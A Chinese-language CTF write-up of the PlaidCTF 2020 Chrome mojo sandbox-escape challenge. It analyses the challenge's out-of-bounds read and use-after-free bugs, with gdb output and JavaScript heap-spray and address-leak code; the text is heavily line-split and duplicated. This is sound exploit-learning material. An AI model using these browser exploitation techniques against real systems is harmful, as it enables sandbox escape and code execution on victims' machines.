-
-
沙箱逃逸之plaidctf 2020 mojo writeup
-
发表于: 2022-12-12 02:29 19977
-
最近想看看chrome
沙箱逃逸,从plaidctf 2020
的mojo
开始。
题目附件内容如下所示:
从Dockerfile
的内容知道,启动chrome
的命令如下所示,参数$1
是要访问的链接。--headless
表示不启动图形界面对页面进行解析;--enable-blink-features
表示启用一个或多个启用Blink
内核运行时的功能,在这里启用了MojoJS
即mojo
的js api
。
重点要分析的是plaidstore.diff
,它是出题人对于chrome
的patch
。
直接去看plaidstore.diff
来尝试寻找漏洞,它添加了一个新的interface
。先看plaidstore.mojom
定义的interface
,interface
中定义了StoreData
以及GetData
两个函数。
来看interface
在browser
端的实现,如下所示。两个函数还没有具体实现,可以看到有两个私有成员变量render_frame_host_
以及data_store_
。
整个interface
的实现引入了两个漏洞,分别是oob
已经uaf
漏洞,下面来逐个进行解析。
GetData
以及StoreData
函数的实现如下所示。StoreDate
会将data
存入到data_store_[key]
当中,GetData
函数会尝试在data_store_
中找到对应的key
所存储的值,并拷贝出count
大小的数据。
oob
越界读漏洞存在于GetData
的实现当中,可以看到它没有对count
进行限制,导致可以越界读取对应数据后任意大小的值并泄露出来。
一个render
进程里的RenderFrame
,对应到browser
进程里的一个RenderFrameHost
。打开一个新的tab
,或者创建一个iframe
的时候,都对应创建出一个新的RenderFrameHost
对象。
可以看到在初始化的时候会将render_frame_host
指针保存在render_frame_host_
中。但是理论上来说,interface
是不应该直接存储render_frame_host
指针的,如果需要使用,也应该使用RenderFrameHost::FromID(int render_process_id, int render_frame_id)
的方式来获取相应的对象。
同时接口的实现还调用MakeSelfOwnedReceiver
函数将把Mojo
管道的一端 Receiver
和当前PlaidStoreImpl
实例绑定,只有当Mojo
管道关闭或者发生异常, Receiver
端与当前实例解绑,此时的PlaidStoreImpl
相关内存数据才会释放。
MakeSelfOwnedReceiver
函数的定义如下所示。
上面的代码也就意味着当mojo pipe
不关闭时,PlaidStoreImpl
对象不会释放,也就意味着仍然可以使用render_frame_host_
指针。然而PlaidStoreImpl
对象并没有与WebContent
绑定,我们关闭tab
或者销毁iframe
时,PlaidStoreImpl
对象是不会被释放的。但是在关闭tab
或者销毁iframe
时,会释放对应的render_frame_host
对象,此时我们仍然可以使用PlaidStoreImpl
对象中的render_frame_host_
去使用该内存,导致了uaf
漏洞的形成。后续若仍然调用调用PlaidStoreImpl
接口中的GetData
或StoreData
函数,会调用render_frame_host_->IsRenderFrameLive()
代码,就触发了uaf
漏洞。
先说说调试的问题,因为chrome
是多进程程序,我们的目标是对mojo
通信的receiver
端(browser
进程进行利用),因此主要是对启动的父进程进行调试。
调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http
,而访问本地文件的协议是file
。
因此先在本地对应的exp
文件目录下(需要将mojo_js
路径和pwn.html
放在一级目录下)启动一个web
服务:
debug.sh
内容如下。在启动的参数中加入了--user-data-dir
参数是为了在terminal
中输出对应的console.log
信息。
gdb -x debug.sh
即可启动调试。
因为开启了mojo js binding
,因为可以直接在render
端使用js
代码来进行通信,示例如下所示:
头两句是要引入的头文件,blink.mojom.PlaidStore.getRemote
则是对remote
端进行绑定。使用await
的理由是因为是从render
进程发送给browser
进程,需要等待,所以要使用await
,不然可能会获取不到数据。
首先搞清楚越界读读的目标是什么,就要搞清楚越界读所发生的区域在哪里,这些区域存储了些什么有用的数据。
因为data_store_
指针存储在PlaidStoreImpl
对象当中,所以先看PlaidStoreImpl
的创建以及调用StoreData
函数之后的内存布局。
断点下在PlaidStoreImpl::Create
函数,看PlaidStoreImpl
对象申请的空间,
0x55555ac584b0
是new
函数,可以跟进去该函数然后用frame
命令确定。
因此可以确定PlaidStoreImpl
对象大小为0x28
,也可以看到后面虚表指针以及render_frame_host
的赋值,最终形成的内存布局如下:
再看p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)
执行完成后的内存布局,如下所示:
可以看到我们能够越界读取的数据0x0000284976881e10
所属的地址空间和PlaidStoreImpl
对象所属的地址空间是同一片区域,这样就使得如果在存储的数据后部署多个PlaidStoreImpl
对象,那么就可以通过越界读取PlaidStoreImpl
对象中的数据。
因为PlaidStoreImpl
对象中有虚表指针以及render_frame_host_
指针,我们就可以越界读把这些数据读出来,最终构造出来的代码如下。要提一个技巧就是搜寻地址是虚表指针因页对齐低三位地址以及高位都是确定的,通过这个方法可以大概率找到对象。
uaf
漏洞利用则主要是通过在代码中构建frame
,并将frame
中的PlaidStoreImpl
对象返回,然后关闭frame
释放render_frame_host
指针,最后使用PlaidStoreImpl
对象来使用render_frame_host_
来实现uaf
。
先要搞清楚render_frame_host
对象的大小,该对象由RenderFrameHostFactory
类实现,可以通过下面的断点来看该对象的大小,可以看到对象大小为0xc28
。
再来看看怎么触发uaf
,主要步骤包括:
理论上最终storeData
函数在执行render_frame_host_->IsRenderFrameLive()
的时候,虚表指针已经被覆盖成了0x414141410x41414141
会导致访存错误。
实际运行结果如下,可以看到会尝试调用call [rax+0x160]
,是代码render_frame_host_->IsRenderFrameLive()
的实现,我们所申请的内存成功控制了对象,并且数据可控rip
。
有了对上面两个漏洞的理解,最终利用也就呼之欲出了,代码如下所示,主要流程是:
最终弹出个计算器,开心。
第一次调mojo
的洞,掌握了沙箱逃逸的大致原理,有了一个略模糊的概念,感觉还蛮有意思,因为对mojo
的机制没有太搞明白,所以这里就不讲基础了,只对漏洞进行利用,后面搞得更清楚以后再进行分析。
$ ls
Dockerfile chrome.
zip
flag_printer mojo_js.
zip
plaidstore.diff run.sh server.py visit.sh
$ ls
Dockerfile chrome.
zip
flag_printer mojo_js.
zip
plaidstore.diff run.sh server.py visit.sh
timeout
20
.
/
chrome
-
-
headless
-
-
disable
-
gpu
-
-
remote
-
debugging
-
port
=
1338
-
-
enable
-
blink
-
features
=
MojoJS,MojoJSTest
"$1"
timeout
20
.
/
chrome
-
-
headless
-
-
disable
-
gpu
-
-
remote
-
debugging
-
port
=
1338
-
-
enable
-
blink
-
features
=
MojoJS,MojoJSTest
"$1"
+
+
+
b
/
third_party
/
blink
/
public
/
mojom
/
plaidstore
/
plaidstore.mojom
@@
-
0
,
0
+
1
,
11
@@
+
module blink.mojom;
+
+
/
/
This interface provides a data store
+
interface PlaidStore {
+
+
/
/
Stores data
in
the data store
+
StoreData(string key, array<uint8> data);
+
+
/
/
Gets data
from
the data store
+
GetData(string key, uint32 count)
=
> (array<uint8> data);
+
};
+
+
+
b
/
third_party
/
blink
/
public
/
mojom
/
plaidstore
/
plaidstore.mojom
@@
-
0
,
0
+
1
,
11
@@
+
module blink.mojom;
+
+
/
/
This interface provides a data store
+
interface PlaidStore {
+
+
/
/
Stores data
in
the data store
+
StoreData(string key, array<uint8> data);
+
+
/
/
Gets data
from
the data store
+
GetData(string key, uint32 count)
=
> (array<uint8> data);
+
};
+
+
+
b
/
content
/
browser
/
plaidstore
/
plaidstore_impl.h
@@
-
0
,
0
+
1
,
35
@@
+
#include <string>
+
#include <vector>
+
+
#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h"
+
+
namespace content {
+
+
class
RenderFrameHost;
+
+
class
PlaidStoreImpl : public blink::mojom::PlaidStore {
+
public:
+
explicit PlaidStoreImpl(RenderFrameHost
*
render_frame_host);
+
+
static void Create(
+
RenderFrameHost
*
render_frame_host,
+
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
+
+
~PlaidStoreImpl() override;
+
+
/
/
PlaidStore overrides:
+
void StoreData(
+
const std::string &key,
+
const std::vector<uint8_t> &data) override;
+
+
void GetData(
+
const std::string &key,
+
uint32_t count,
+
GetDataCallback callback) override;
+
+
private:
+
RenderFrameHost
*
render_frame_host_;
+
std::
map
<std::string, std::vector<uint8_t> > data_store_;
+
};
+
+
}
/
/
namespace content
+
+
+
b
/
content
/
browser
/
plaidstore
/
plaidstore_impl.h
@@
-
0
,
0
+
1
,
35
@@
+
#include <string>
+
#include <vector>
+
+
#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h"
+
+
namespace content {
+
+
class
RenderFrameHost;
+
+
class
PlaidStoreImpl : public blink::mojom::PlaidStore {
+
public:
+
explicit PlaidStoreImpl(RenderFrameHost
*
render_frame_host);
+
+
static void Create(
+
RenderFrameHost
*
render_frame_host,
+
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
+
+
~PlaidStoreImpl() override;
+
+
/
/
PlaidStore overrides:
+
void StoreData(
+
const std::string &key,
+
const std::vector<uint8_t> &data) override;
+
+
void GetData(
+
const std::string &key,
+
uint32_t count,
+
GetDataCallback callback) override;
+
+
private:
+
RenderFrameHost
*
render_frame_host_;
+
std::
map
<std::string, std::vector<uint8_t> > data_store_;
+
};
+
+
}
/
/
namespace content
+
void PlaidStoreImpl::StoreData(
+
const std::string &key,
+
const std::vector<uint8_t> &data) {
+
if
(!render_frame_host_
-
>IsRenderFrameLive()) {
+
return
;
+
}
+
data_store_[key]
=
data;
+
}
+
+
void PlaidStoreImpl::GetData(
+
const std::string &key,
+
uint32_t count,
+
GetDataCallback callback) {
+
if
(!render_frame_host_
-
>IsRenderFrameLive()) {
+
std::move(callback).Run({});
+
return
;
+
}
+
auto it
=
data_store_.find(key);
+
if
(it
=
=
data_store_.end()) {
+
std::move(callback).Run({});
+
return
;
+
}
+
std::vector<uint8_t> result(it
-
>second.begin(), it
-
>second.begin()
+
count);
+
std::move(callback).Run(result);
+
}
+
void PlaidStoreImpl::StoreData(
+
const std::string &key,
+
const std::vector<uint8_t> &data) {
+
if
(!render_frame_host_
-
>IsRenderFrameLive()) {
+
return
;
+
}
+
data_store_[key]
=
data;
+
}
+
+
void PlaidStoreImpl::GetData(
+
const std::string &key,
+
uint32_t count,
+
GetDataCallback callback) {
+
if
(!render_frame_host_
-
>IsRenderFrameLive()) {
+
std::move(callback).Run({});
+
return
;
+
}
+
auto it
=
data_store_.find(key);
+
if
(it
=
=
data_store_.end()) {
+
std::move(callback).Run({});
+
return
;
+
}
+
std::vector<uint8_t> result(it
-
>second.begin(), it
-
>second.begin()
+
count);
+
std::move(callback).Run(result);
+
}
+
PlaidStoreImpl::PlaidStoreImpl(
+
RenderFrameHost
*
render_frame_host)
+
: render_frame_host_(render_frame_host) {}
+
PlaidStoreImpl::PlaidStoreImpl(
+
RenderFrameHost
*
render_frame_host)
+
: render_frame_host_(render_frame_host) {}
+
void PlaidStoreImpl::Create(
+
RenderFrameHost
*
render_frame_host,
+
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+
std::move(receiver));
+
}
+
void PlaidStoreImpl::Create(
+
RenderFrameHost
*
render_frame_host,
+
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+
std::move(receiver));
+
}
Binds the lifetime of an interface implementation to the lifetime of the Receiver. When the Receiver
is
disconnected (typically by the remote end closing the entangled Remote), the implementation will be deleted.
Binds the lifetime of an interface implementation to the lifetime of the Receiver. When the Receiver
is
disconnected (typically by the remote end closing the entangled Remote), the implementation will be deleted.
python
-
m SimpleHTTPServer
python
-
m SimpleHTTPServer
# set file and read symbol
file
.
/
chrome
# set start parameter
set
args
-
-
headless
-
-
disable
-
gpu
-
-
remote
-
debugging
-
port
=
1338
-
-
user
-
data
-
dir
=
.
/
userdata
-
-
enable
-
blink
-
features
=
MojoJS http:
/
/
127.0
.
0.1
:
8000
/
pwn.html
# set follow-fork-mode
set
follow
-
fork
-
mode parent
# just run
r
# set file and read symbol
file
.
/
chrome
# set start parameter
set
args
-
-
headless
-
-
disable
-
gpu
-
-
remote
-
debugging
-
port
=
1338
-
-
user
-
data
-
dir
=
.
/
userdata
-
-
enable
-
blink
-
features
=
MojoJS http:
/
/
127.0
.
0.1
:
8000
/
pwn.html
# set follow-fork-mode
set
follow
-
fork
-
mode parent
# just run
r
<script src
=
"./mojo/public/js/mojo_bindings.js"
><
/
script>
<script src
=
"./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"
><
/
script>
<script>
async function test() {
let p
=
blink.mojom.PlaidStore.getRemote(true);
await(p.storeData(
"xxxxx"
, new Uint8Array(
0x28
).fill(
0x41
)));
}
test()
<
/
script>
<script src
=
"./mojo/public/js/mojo_bindings.js"
><
/
script>
<script src
=
"./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"
><
/
script>
<script>
async function test() {
let p
=
blink.mojom.PlaidStore.getRemote(true);
await(p.storeData(
"xxxxx"
, new Uint8Array(
0x28
).fill(
0x41
)));
}
test()
<
/
script>
0x5555591ac4a3
mov edi,
0x28
►
0x5555591ac4a8
call
0x55555ac584b0
<
0x55555ac584b0
>
0x5555591ac4ad
lea rcx, [rip
+
0x635e2ec
]
0x5555591ac4b4
mov qword ptr [rax], rcx ; 赋值虚表指针
0x5555591ac4b7
mov qword ptr [rax
+
8
], rbx ; 赋值render_frame_host指针
0x5555591ac4bb
lea rcx, [rax
+
0x18
]
0x5555591ac4a3
mov edi,
0x28
►
0x5555591ac4a8
call
0x55555ac584b0
<
0x55555ac584b0
>
0x5555591ac4ad
lea rcx, [rip
+
0x635e2ec
]
0x5555591ac4b4
mov qword ptr [rax], rcx ; 赋值虚表指针
0x5555591ac4b7
mov qword ptr [rax
+
8
], rbx ; 赋值render_frame_host指针
0x5555591ac4bb
lea rcx, [rax
+
0x18
]
pwndbg> frame
#0 0x000055555ac584b0 in operator new(unsigned long, std::nothrow_t const&) ()
pwndbg> frame
#0 0x000055555ac584b0 in operator new(unsigned long, std::nothrow_t const&) ()
pwndbg> x
/
6gx
0x284976549f30
0x284976549f30
:
0x000055555f50a7a0
0x000028497640bd00
; vtable | render_frame_host_
0x284976549f40
:
0x0000284976549f48
0x0000000000000000
; data_store_
0x284976549f50
:
0x0000000000000000
0x0000000000000000
pwndbg> vmmap
0x284976549f30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28497627a000
0x284976979000
rw
-
p
6ff000
0
+
0x2cff30
pwndbg> x
/
6gx
0x284976549f30
0x284976549f30
:
0x000055555f50a7a0
0x000028497640bd00
; vtable | render_frame_host_
0x284976549f40
:
0x0000284976549f48
0x0000000000000000
; data_store_
0x284976549f50
:
0x0000000000000000
0x0000000000000000
pwndbg> vmmap
0x284976549f30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28497627a000
0x284976979000
rw
-
p
6ff000
0
+
0x2cff30
pwndbg> x
/
6gx
0x284976549f30
0x284976549f30
:
0x000055555f50a7a0
0x000028497640bd00
0x284976549f40
:
0x00002849765f5b40
0x00002849765f5b40
0x284976549f50
:
0x0000000000000001
0x0000000000000000
pwndbg> x
/
10gx
0x00002849765f5b40
0x2849765f5b40
:
0x0000000000000000
0x0000000000000000
0x2849765f5b50
:
0x0000284976549f48
0x000055555824ff01
0x2849765f5b60
:
0x0000007878787878
0x0000000000000000
0x2849765f5b70
:
0x0500000000000000
0x0000284976881e10
0x2849765f5b80
:
0x0000284976881e38
0x0000284976881e38
pwndbg> x
/
s
0x2849765f5b60
0x2849765f5b60
:
"xxxxx"
pwndbg> x
/
s
0x0000284976881e10
0x284976881e10
:
'A'
<repeats
40
times>
pwndbg> vmmap
0x0000284976881e10
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28497627a000
0x284976979000
rw
-
p
6ff000
0
+
0x607e10
pwndbg> x
/
6gx
0x284976549f30
0x284976549f30
:
0x000055555f50a7a0
0x000028497640bd00
0x284976549f40
:
0x00002849765f5b40
0x00002849765f5b40
0x284976549f50
:
0x0000000000000001
0x0000000000000000
pwndbg> x
/
10gx
0x00002849765f5b40
0x2849765f5b40
:
0x0000000000000000
0x0000000000000000
0x2849765f5b50
:
0x0000284976549f48
0x000055555824ff01
0x2849765f5b60
:
0x0000007878787878
0x0000000000000000
0x2849765f5b70
:
0x0500000000000000
0x0000284976881e10
0x2849765f5b80
:
0x0000284976881e38
0x0000284976881e38
pwndbg> x
/
s
0x2849765f5b60
0x2849765f5b60
:
"xxxxx"
pwndbg> x
/
s
0x0000284976881e10
0x284976881e10
:
'A'
<repeats
40
times>
pwndbg> vmmap
0x0000284976881e10
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28497627a000
0x284976979000
rw
-
p
6ff000
0
+
0x607e10
async function Leak()
{
let plaidStorePtrList
=
[];
for
(let i
=
0
; i<
0x200
; i
+
+
) {
let p
=
blink.mojom.PlaidStore.getRemote(true);
await(p.storeData(
"xxxxx"
, new Uint8Array(
0x28
).fill(
0x41
)));
plaidStorePtrList.push(p);
}
let p
=
plaidStorePtrList[
0
];
let leakData
=
(await p.getData(
"xxxxx"
,
0x2000
)).data
let u8
=
new Uint8Array(leakData)
let u64
=
new BigInt64Array(u8.
buffer
);
let vtableAddr
=
0
;
for
(let i
=
0x28
/
8
; i<u64.length; i
+
+
) {
let highAddr
=
u64[i]&BigInt(
0xf00000000000
)
let lowAddr
=
u64[i]&BigInt(
0x000000000fff
)
if
((highAddr
=
=
BigInt(
0x500000000000
)) && lowAddr
=
=
BigInt(
0x7a0
)) {
vtableAddr
=
u64[i];
renderFrameHostAddr
=
u64[i
+
1
];
break
;
}
}
if
(vtableAddr
=
=
0
) {
console.log(
"[-] no vaild addr found"
);
return
;
}
chromeBaseAddr
=
vtableAddr
-
BigInt(
0x9fb67a0
);
console.log(
"[+] leak chrome base addr: "
+
hex
(chromeBaseAddr));
console.log(
"[+] leak reander frame host addr: "
+
hex
(renderFrameHostAddr));
}
Leak();
async function Leak()
{
let plaidStorePtrList
=
[];
for
(let i
=
0
; i<
0x200
; i
+
+
) {
let p
=
blink.mojom.PlaidStore.getRemote(true);
await(p.storeData(
"xxxxx"
, new Uint8Array(
0x28
).fill(
0x41
)));
plaidStorePtrList.push(p);
}
let p
=
plaidStorePtrList[
0
];
let leakData
=
(await p.getData(
"xxxxx"
,
0x2000
)).data
let u8
=
new Uint8Array(leakData)
let u64
=
new BigInt64Array(u8.
buffer
);
let vtableAddr
=
0
;
for
(let i
=
0x28
/
8
; i<u64.length; i
+
+
) {
let highAddr
=
u64[i]&BigInt(
0xf00000000000
)
let lowAddr
=
u64[i]&BigInt(
0x000000000fff
)
if
((highAddr
=
=
BigInt(
0x500000000000
)) && lowAddr
=
=
BigInt(
0x7a0
)) {
vtableAddr
=
u64[i];
renderFrameHostAddr
=
u64[i
+
1
];
break
;
}
}
if
(vtableAddr
=
=
0
) {
console.log(
"[-] no vaild addr found"
);
return
;
}
chromeBaseAddr
=
vtableAddr
-
BigInt(
0x9fb67a0
);